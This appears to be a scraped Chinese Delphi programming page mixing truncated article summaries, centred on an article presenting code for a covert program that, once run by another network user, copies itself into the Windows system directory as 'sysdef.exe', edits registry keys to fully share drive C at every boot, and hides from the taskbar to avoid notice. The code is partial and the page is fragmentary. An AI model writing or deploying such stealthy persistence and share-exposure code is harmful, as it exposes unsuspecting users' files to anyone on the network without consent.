引言： 为什么我的C盘每次启动后都是完全共享？看看以下这个程序就明白了，噢，索叻是叻：）
此程序当网络上其他用户执行后，会自己复制一份到该用户Windows的system目录下，,并修改该机的注册表，使该机的C盘自动改为完全共享，且每次启动机子后都会重新修改注册表，当然，为了不让别人看出执行的程序，该程...
摘要：作者: 苏涌
在delphi项目中，通常有一个与项目名称主文件名相同的.res文件，该文件用于保存应用程序图标等资源，对应于此文件，在项目文件中一定含有编译指示“{$r *.res}”，告诉编译器编译时需要包含与项目主文件名相同的.res文件。同样，如果需要在应用程序中以资源形式包含任何文件类型，也可以利用.res文件。本文将告诉你如何利用res文件在delphi程序内部包含文件。
一创建.r......
摘要：如何在程序中动态取得win95/98的网络邻居中的工作组及计算机名?
可参考下面代码，或许有所帮助：
procedure getdomainlist(tv:ttreeview);
var
a : integer;
errcode : integer;
netres : array[0..1023] of tnetresource;
enumhandle : thandle;
enu......
如何让C盘每次启动后都是完全共享为什么我的c盘每次启动后都是完全共享?看看以下这个程序就明白了,噢,索叻是叻:）
此程序当网络上其他用户执行后,会自己复制一份到该用户windows的system目录下,,并修改该机的注册表,使该机的c盘自动改为完全共享,且每次启动机子后都会重新修改注册表,当然,为了不让别人看出执行的程序,该程序执行时不会在任务栏显示,本身也不回显,执行一秒钟后程序自动退出,不易被发觉. 【程序编程相关:
轻轻松松在DELPHI3.0中实现三态按】 【推荐阅读:
在Delphi中实现对目录拷贝、删除和搬】
来看源程序吧,该程序在delphi5.0中通过: 【扩展信息:
在Delphi编程中创建一个启动闪现窗口】
首先将mainform的borderstyle属性设为bsnone,由于要修改注册表及复制文件,再在uses中加入 registry,shellapi;
大家注意程序中的注释:
procedure tmainform.formshow(sender: tobject);
var
myreg:tregistry;
mysyspath:pchar;
f:tshfileopstruct;
file_to,file_from:string;
begin
//得到用户机系统目录
getmem(mysyspath,255);
getsystemdirectory(mysyspath,255);
//文件名 file_to:=mysyspath+\sysdef.exe;
//复制目标文件名 file_from:=application.exename;
//复制源文件名
//以下为注册表修改
myreg:=tregistry.create;
myreg.rootkey :=hkey_local_machine;
try
if not myreg.openkey (\software\microsoft\windows\currentversion\network\lanman\c,true) then ; ...
下一页 摘要：关联是windows的一个显著特性。比如安装了office后，后缀是.doc的文
件会和word关联在一起。如果我们想自己创建关联关系，就必须从注册表入手。下
面的代码会把后缀是.me的文件和notepad关联在一起，请参阅：
procedure tform1.button1click（sender: tobject）;
var
lphkey: hkey;
skeyname: string;......
